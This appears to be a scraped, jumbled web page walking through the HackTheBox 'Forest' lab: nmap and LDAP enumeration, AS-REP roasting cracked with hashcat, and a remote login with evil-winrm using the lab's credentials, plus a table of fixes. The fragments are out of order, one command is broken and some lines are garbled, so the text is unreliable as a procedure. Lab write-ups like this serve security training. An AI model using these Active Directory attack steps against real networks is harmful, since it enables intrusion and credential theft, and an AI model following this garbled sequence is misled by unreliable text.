Forest Hackthebox Walkthrough Best Jun 2026

hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt Use code with caution. svc-apt : 4. Establishing Initial Foothold

| Vulnerability | Fix | |---------------|-----| | AS-REP Roasting | Disable "Do not require Kerberos pre-authentication" for all users unless absolutely necessary. | | Weak password | Enforce strong password policy (svc-alfresco's password was weak). | | SeMachineAccountPrivilege for service accounts | Restrict this privilege to only highly trusted accounts. | | GenericWrite over domain | Review ACLs and remove unnecessary write permissions. | | No SPN protection | Monitor for unauthorized SPN modifications. |

whoami /all

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

This walkthrough provides a comprehensive guide to gaining a foothold and escalating to Domain Admin. Phase 1: Reconnaissance and Enumeration forest hackthebox walkthrough best

We have a list of valid usernames. This allows us to proceed to the next attack vector: Kerberos User Enumeration.

ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" | grep -i "sAMAccountName" | awk 'print $2' > users.txt hashcat -m 18200 hashes

Save the hash and crack it with hashcat (mode 18200 for AS-REP hashes).

With credentials svc-alfresco:s3rvice :

Run a comprehensive Nmap scan to identify open ports and services: nmap -sC -sV -p- -T4 -oN forest_scan.txt 10.10.10.161 Use code with caution. The scan reveals a classic Active Directory environment: DNS Port 88: Kerberos Port 135 & 445: RPC and SMB Port 389 & 3268: LDAP and Global Catalog